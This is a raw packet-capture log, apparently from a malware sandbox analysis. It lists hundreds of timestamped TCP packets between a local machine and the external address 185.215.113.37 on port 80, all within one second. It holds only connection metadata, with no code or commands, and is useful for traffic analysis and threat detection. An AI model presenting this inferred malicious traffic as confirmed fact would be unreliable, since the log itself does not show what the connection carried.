Oct 13, 2024 00:47:44.758438110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758438110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758450985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758471966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758502960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758511066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758529902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758543968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758572102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758579016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758594036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758611917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758635998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758645058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758677959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758683920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758713007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758719921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758742094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758760929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758955956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758987904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759006023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759021997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759032011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759052992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759067059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759084940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759099960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759119987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759134054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759160042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759172916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759196043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759207010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759228945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759242058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759263039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759270906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759310007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759315014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759345055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759354115 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759375095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759397984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759429932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759450912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759502888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759502888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759541035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759552956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759576082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759586096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759610891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759619951 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759654999 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759753942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759788036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759819031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759819984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759830952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759854078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759877920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759887934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759896994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759922028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759932995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759955883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.759965897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.759990931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760008097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.760025024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760030985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.760059118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760067940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.760076046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760091066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760099888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.760107994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760112047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.760124922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760128021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.760140896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760149002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.760159016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760174990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760184050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.760220051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.760392904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760407925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760422945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760437965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760440111 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.760453939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.760473967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.760502100 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793186903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793242931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793250084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793278933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793289900 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793349028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793350935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793387890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793406010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793423891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793433905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793458939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793493032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793498039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793528080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793548107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793571949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793605089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793620110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793637991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793663025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793672085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793687105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793705940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793711901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793760061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793772936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793793917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793802977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793828011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793847084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793860912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793875933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793895960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.793905973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793941975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.793979883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.794012070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.794023991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.794044018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.794060946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.794078112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.794092894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.794111967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.794126987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.794157982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.815939903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.815992117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816005945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.816026926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816075087 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.816162109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816194057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816216946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.816225052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816241980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.816261053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816277027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.816303968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.816471100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816503048 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816524982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.816536903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816549063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.816570997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816581011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.816605091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816620111 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.816642046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816654921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.816675901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816689014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.816711903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816725016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.816747904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.816765070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.816803932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.817199945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.817234039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.817259073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.817265034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.817284107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.817301035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.817317963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.817353010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.846524954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.846580982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.846613884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.846618891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.846672058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.846672058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.846757889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.846790075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.846812010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.846823931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.846839905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.846858978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.846873999 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.846909046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847018003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847050905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847073078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847084045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847093105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847117901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847134113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847151995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847167969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847184896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847202063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847218037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847233057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847269058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847402096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847460032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847482920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847517014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847537041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847560883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847616911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847650051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847671032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847682953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847687006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847718000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847743034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847764969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847856998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847888947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847913027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847929955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.847939014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847974062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.847990036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848006010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848022938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848040104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848054886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848072052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848092079 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848105907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848119974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848140001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848154068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848190069 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848587990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848619938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848644018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848653078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848659992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848686934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848702908 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848727942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848733902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848763943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848778963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848798037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848819017 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848831892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848844051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848865986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848880053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848898888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848917007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848932028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848943949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848964930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.848979950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.848998070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849011898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849030972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849049091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849065065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849070072 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849112034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849540949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849574089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849597931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849606037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849617958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849641085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849649906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849674940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849689007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849709034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849725962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849744081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849759102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849778891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849792957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849812984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849829912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849844933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849858999 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849879026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849894047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849914074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849927902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849946976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849962950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.849980116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.849989891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.850027084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.850388050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.850420952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.850444078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.850452900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.850462914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.850490093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.850502014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.850523949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.850538015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.850557089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.850570917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.850591898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.850606918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.850625038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.850636005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.850658894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.850672007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.850693941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.850707054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.850744009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.882147074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882230043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882241011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.882245064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882268906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.882298946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.882303953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882328987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882343054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.882344007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882359982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.882369995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.882389069 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.882405043 CEST	49711	80	192.168.2.6	185.215.113.37
